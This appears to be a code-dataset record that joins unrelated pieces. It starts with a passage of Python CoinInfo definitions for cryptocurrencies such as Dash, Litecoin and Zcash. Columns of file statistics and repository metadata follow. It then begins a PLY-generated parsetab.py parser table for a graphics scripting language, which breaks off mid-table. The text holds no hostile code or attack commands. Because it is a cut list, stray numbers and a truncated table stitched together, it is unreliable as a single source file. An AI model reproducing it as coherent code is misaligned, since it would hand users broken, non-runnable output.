CoinInfo(
coin_name="Dash",
coin_shortcut="DASH",
address_type=76,
address_type_p2sh=16,
maxfee_kb=100000,
signed_message_header="DarkCoin Signed Message:\n",
xpub_magic=0x02fe52cc,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=5,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Dash Testnet",
coin_shortcut="tDASH",
address_type=140,
address_type_p2sh=19,
maxfee_kb=100000,
signed_message_header="DarkCoin Signed Message:\n",
xpub_magic=0x043587cf,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=1,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Decred",
coin_shortcut="DCR",
address_type=1855,
address_type_p2sh=1818,
maxfee_kb=1000000,
signed_message_header="Decred Signed Message:\n",
xpub_magic=0x02fda926,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=42,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=True,
curve_name='secp256k1-decred',
),
CoinInfo(
coin_name="Decred Testnet",
coin_shortcut="TDCR",
address_type=3873,
address_type_p2sh=3836,
maxfee_kb=10000000,
signed_message_header="Decred Signed Message:\n",
xpub_magic=0x043587d1,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=1,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=True,
curve_name='secp256k1-decred',
),
CoinInfo(
coin_name="Denarius",
coin_shortcut="DNR",
address_type=30,
address_type_p2sh=90,
maxfee_kb=100000,
signed_message_header="Denarius Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=116,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="DigiByte",
coin_shortcut="DGB",
address_type=30,
address_type_p2sh=63,
maxfee_kb=500000,
signed_message_header="DigiByte Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="dgb",
cashaddr_prefix=None,
slip44=20,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Dogecoin",
coin_shortcut="DOGE",
address_type=30,
address_type_p2sh=22,
maxfee_kb=1000000000,
signed_message_header="Dogecoin Signed Message:\n",
xpub_magic=0x02facafd,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=3,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Feathercoin",
coin_shortcut="FTC",
address_type=14,
address_type_p2sh=5,
maxfee_kb=40000000,
signed_message_header="Feathercoin Signed Message:\n",
xpub_magic=0x0488bc26,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="fc",
cashaddr_prefix=None,
slip44=8,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Flashcoin",
coin_shortcut="FLASH",
address_type=68,
address_type_p2sh=130,
maxfee_kb=4000000,
signed_message_header="Flashcoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="flash",
cashaddr_prefix=None,
slip44=120,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Florincoin",
coin_shortcut="FLO",
address_type=35,
address_type_p2sh=94,
maxfee_kb=40000000,
signed_message_header="Florincoin Signed Message:\n",
xpub_magic=0x00174921,
xpub_magic_segwit_p2sh=0x01b26ef6,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="flo",
cashaddr_prefix=None,
slip44=216,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Fujicoin",
coin_shortcut="FJC",
address_type=36,
address_type_p2sh=16,
maxfee_kb=10000000,
signed_message_header="FujiCoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="fc",
cashaddr_prefix=None,
slip44=75,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Gincoin",
coin_shortcut="GIN",
address_type=38,
address_type_p2sh=10,
maxfee_kb=100000,
signed_message_header="DarkCoin Signed Message:\n",
xpub_magic=0x02fe52cc,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=2000,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="GameCredits",
coin_shortcut="GAME",
address_type=38,
address_type_p2sh=62,
maxfee_kb=5000000,
signed_message_header="GameCredits Signed Message:\n",
xpub_magic=0x019d9cfe,
xpub_magic_segwit_p2sh=0x01b26ef6,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="game",
cashaddr_prefix=None,
slip44=101,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Groestlcoin",
coin_shortcut="GRS",
address_type=36,
address_type_p2sh=5,
maxfee_kb=100000,
signed_message_header="GroestlCoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="grs",
cashaddr_prefix=None,
slip44=17,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1-groestl',
),
CoinInfo(
coin_name="Groestlcoin Testnet",
coin_shortcut="tGRS",
address_type=111,
address_type_p2sh=196,
maxfee_kb=100000,
signed_message_header="GroestlCoin Signed Message:\n",
xpub_magic=0x043587cf,
xpub_magic_segwit_p2sh=0x044a5262,
xpub_magic_segwit_native=0x045f1cf6,
bech32_prefix="tgrs",
cashaddr_prefix=None,
slip44=1,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1-groestl',
),
CoinInfo(
coin_name="Komodo",
coin_shortcut="KMD",
address_type=60,
address_type_p2sh=85,
maxfee_kb=1000000,
signed_message_header="Komodo Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=141,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Koto",
coin_shortcut="KOTO",
address_type=6198,
address_type_p2sh=6203,
maxfee_kb=1000000,
signed_message_header="Koto Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=510,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Litecoin",
coin_shortcut="LTC",
address_type=48,
address_type_p2sh=50,
maxfee_kb=40000000,
signed_message_header="Litecoin Signed Message:\n",
xpub_magic=0x019da462,
xpub_magic_segwit_p2sh=0x01b26ef6,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="ltc",
cashaddr_prefix=None,
slip44=2,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Litecoin Testnet",
coin_shortcut="tLTC",
address_type=111,
address_type_p2sh=58,
maxfee_kb=40000000,
signed_message_header="Litecoin Signed Message:\n",
xpub_magic=0x043587cf,
xpub_magic_segwit_p2sh=0x044a5262,
xpub_magic_segwit_native=0x045f1cf6,
bech32_prefix="tltc",
cashaddr_prefix=None,
slip44=1,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Megacoin",
coin_shortcut="MEC",
address_type=50,
address_type_p2sh=5,
maxfee_kb=1000000,
signed_message_header="MegaCoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="mec",
cashaddr_prefix=None,
slip44=217,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Monacoin",
coin_shortcut="MONA",
address_type=50,
address_type_p2sh=55,
maxfee_kb=5000000,
signed_message_header="Monacoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="mona",
cashaddr_prefix=None,
slip44=22,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="MonetaryUnit",
coin_shortcut="MUE",
address_type=16,
address_type_p2sh=76,
maxfee_kb=100000,
signed_message_header="MonetaryUnit Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=31,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Myriad",
coin_shortcut="XMY",
address_type=50,
address_type_p2sh=9,
maxfee_kb=2000000,
signed_message_header="Myriadcoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="xmy",
cashaddr_prefix=None,
slip44=90,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="NIX",
coin_shortcut="NIX",
address_type=38,
address_type_p2sh=53,
maxfee_kb=40000000,
signed_message_header="NIX Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="nix",
cashaddr_prefix=None,
slip44=400,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Namecoin",
coin_shortcut="NMC",
address_type=52,
address_type_p2sh=5,
maxfee_kb=10000000,
signed_message_header="Namecoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=7,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="PIVX",
coin_shortcut="PIVX",
address_type=30,
address_type_p2sh=13,
maxfee_kb=100000,
signed_message_header="DarkNet Signed Message:\n",
xpub_magic=0x022d2533,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=119,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="PIVX Testnet",
coin_shortcut="tPIVX",
address_type=139,
address_type_p2sh=19,
maxfee_kb=100000,
signed_message_header="DarkNet Signed Message:\n",
xpub_magic=0x3a8061a0,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=1,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Pesetacoin",
coin_shortcut="PTC",
address_type=47,
address_type_p2sh=22,
maxfee_kb=1000000000,
signed_message_header="Pesetacoin Signed Message:\n",
xpub_magic=0x0488c42e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=109,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Primecoin",
coin_shortcut="XPM",
address_type=23,
address_type_p2sh=83,
maxfee_kb=1000000,
signed_message_header="Primecoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=24,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Qtum",
coin_shortcut="QTUM",
address_type=58,
address_type_p2sh=50,
maxfee_kb=40000000,
signed_message_header="Qtum Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="qc",
cashaddr_prefix=None,
slip44=2301,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Qtum Testnet",
coin_shortcut="tQTUM",
address_type=120,
address_type_p2sh=110,
maxfee_kb=40000000,
signed_message_header="Qtum Signed Message:\n",
xpub_magic=0x043587cf,
xpub_magic_segwit_p2sh=0x044a5262,
xpub_magic_segwit_native=0x045f1cf6,
bech32_prefix="tq",
cashaddr_prefix=None,
slip44=1,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Ravencoin",
coin_shortcut="RVN",
address_type=60,
address_type_p2sh=122,
maxfee_kb=2000000,
signed_message_header="Ravencoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=175,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="SmartCash",
coin_shortcut="SMART",
address_type=63,
address_type_p2sh=18,
maxfee_kb=1000000,
signed_message_header="SmartCash Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=224,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1-smart',
),
CoinInfo(
coin_name="SmartCash Testnet",
coin_shortcut="tSMART",
address_type=65,
address_type_p2sh=21,
maxfee_kb=1000000,
signed_message_header="SmartCash Signed Message:\n",
xpub_magic=0x043587cf,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=224,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1-smart',
),
CoinInfo(
coin_name="Stakenet",
coin_shortcut="XSN",
address_type=76,
address_type_p2sh=16,
maxfee_kb=2000000,
signed_message_header="DarkCoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="xc",
cashaddr_prefix=None,
slip44=199,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Vertcoin",
coin_shortcut="VTC",
address_type=71,
address_type_p2sh=5,
maxfee_kb=40000000,
signed_message_header="Vertcoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="vtc",
cashaddr_prefix=None,
slip44=28,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Viacoin",
coin_shortcut="VIA",
address_type=71,
address_type_p2sh=33,
maxfee_kb=40000000,
signed_message_header="Viacoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="via",
cashaddr_prefix=None,
slip44=14,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="ZClassic",
coin_shortcut="ZCL",
address_type=7352,
address_type_p2sh=7357,
maxfee_kb=1000000,
signed_message_header="Zcash Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=147,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Zcash",
coin_shortcut="ZEC",
address_type=7352,
address_type_p2sh=7357,
maxfee_kb=1000000,
signed_message_header="Zcash Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=133,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Zcash Testnet",
coin_shortcut="TAZ",
address_type=7461,
address_type_p2sh=7354,
maxfee_kb=10000000,
signed_message_header="Zcash Signed Message:\n",
xpub_magic=0x043587cf,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=1,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Zcoin",
coin_shortcut="XZC",
address_type=82,
address_type_p2sh=7,
maxfee_kb=1000000,
signed_message_header="Zcoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=136,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Zcoin Testnet",
coin_shortcut="tXZC",
address_type=65,
address_type_p2sh=178,
maxfee_kb=1000000,
signed_message_header="Zcoin Signed Message:\n",
xpub_magic=0x043587cf,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=1,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Zencash",
coin_shortcut="ZEN",
address_type=8329,
address_type_p2sh=8342,
maxfee_kb=2000000,
signed_message_header="Zencash Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=121,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=True,
decred=False,
curve_name='secp256k1',
),
]
| 28.390728
| 84
| 0.604006
| 3,710
| 34,296
| 5.248518
| 0.084906
| 0.083196
| 0.09244
| 0.058546
| 0.787747
| 0.779324
| 0.707477
| 0.707169
| 0.707169
| 0.685805
| 0
| 0.109963
| 0.308724
| 34,296
| 1,207
| 85
| 28.41425
| 0.711363
| 0.001808
| 0
| 0.719167
| 1
| 0
| 0.083728
| 0
| 0
| 0
| 0.031843
| 0
| 0
| 1
| 0.000833
| false
| 0
| 0.001667
| 0
| 0.003333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4873803eca3bd8cf0d1f2da4c489d9806ba5bed1
| 13,333
|
py
|
Python
|
parsetab.py
|
aidan-fitz/line-eyes
|
2715f64af0587864c8483b2ee7ebf2c00559bad7
|
[
"BSD-3-Clause"
] | null | null | null |
parsetab.py
|
aidan-fitz/line-eyes
|
2715f64af0587864c8483b2ee7ebf2c00559bad7
|
[
"BSD-3-Clause"
] | null | null | null |
parsetab.py
|
aidan-fitz/line-eyes
|
2715f64af0587864c8483b2ee7ebf2c00559bad7
|
[
"BSD-3-Clause"
] | null | null | null |
# parsetab.py
# This file is automatically generated. Do not edit.
_tabversion = '3.2'
_lr_method = 'LALR'
_lr_signature = '\x11\x13C\xf3\x8a\xda\x0f\xf9op-\xf5B\xe1`\xb1'
_lr_action_items = {'BOX':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[1,-14,-3,-7,1,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'SCALE':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[2,-14,-3,-7,2,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'BASENAME':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[3,-14,-3,-7,3,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'MOVE':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[4,-14,-3,-7,4,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'VARY':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[5,-14,-3,-7,5,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'FRAMES':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[6,-14,-3,-7,6,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'LINE':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[7,-14,-3,-7,7,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'DISPLAY':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[8,-14,-3,-7,8,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'COMMENT':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[9,-14,-3,-7,9,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'SET':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[10,-14,-3,-7,10,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'HERMITE':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[11,-14,-3,-7,11,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'POP':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[12,-14,-3,-7,12,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'PUSH':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[15,-14,-3,-7,15,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'SCREEN':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[16,-14,-3,-7,16,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'$end':([0,8,9,12,14,15,16,21,23,24,25,28,29,30,31,32,35,37,40,41,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[-1,-14,-3,-7,-1,-8,-10,0,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-2,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'STRING':([3,8,23,],[28,28,28,]),'TORUS':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[17,-14,-3,-7,17,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'SPHERE':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[18,-14,-3,-7,18,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'ID':([3,5,8,10,23,24,25,59,63,64,],[32,32,32,32,32,-39,-40,32,32,32,]),'ROTATE':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[19,-14,-3,-7,19,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'INT':([1,2,4,6,7,11,13,16,17,18,20,22,24,25,26,27,31,32,33,34,36,38,39,42,43,44,45,46,47,49,50,51,52,53,55,57,58,60,61,62,65,66,67,68,69,71,72,73,76,77,78,79,80,81,82,83,85,86,87,88,89,90,93,94,96,97,98,100,101,102,103,105,106,107,108,109,110,111,112,],[25,25,25,35,25,25,25,42,25,25,25,25,-39,-40,25,25,-35,-36,25,52,25,25,25,56,25,25,25,25,25,25,25,25,65,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,88,25,25,25,25,25,94,95,25,25,25,99,25,25,25,25,104,25,25,25,25,25,25,25,25,113,114,]),'DOUBLE':([1,2,4,7,11,13,17,18,20,22,24,25,26,27,31,32,33,36,38,39,43,44,45,46,47,49,50,51,53,55,57,58,60,61,62,65,66,67,68,69,71,72,73,76,77,78,79,81,82,83,85,86,89,90,93,96,97,98,100,102,103,105,106,107,108,109,110,],[24,24,24,24,24,24,24,24,24,24,-39,-40,24,24,-35,-36,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,2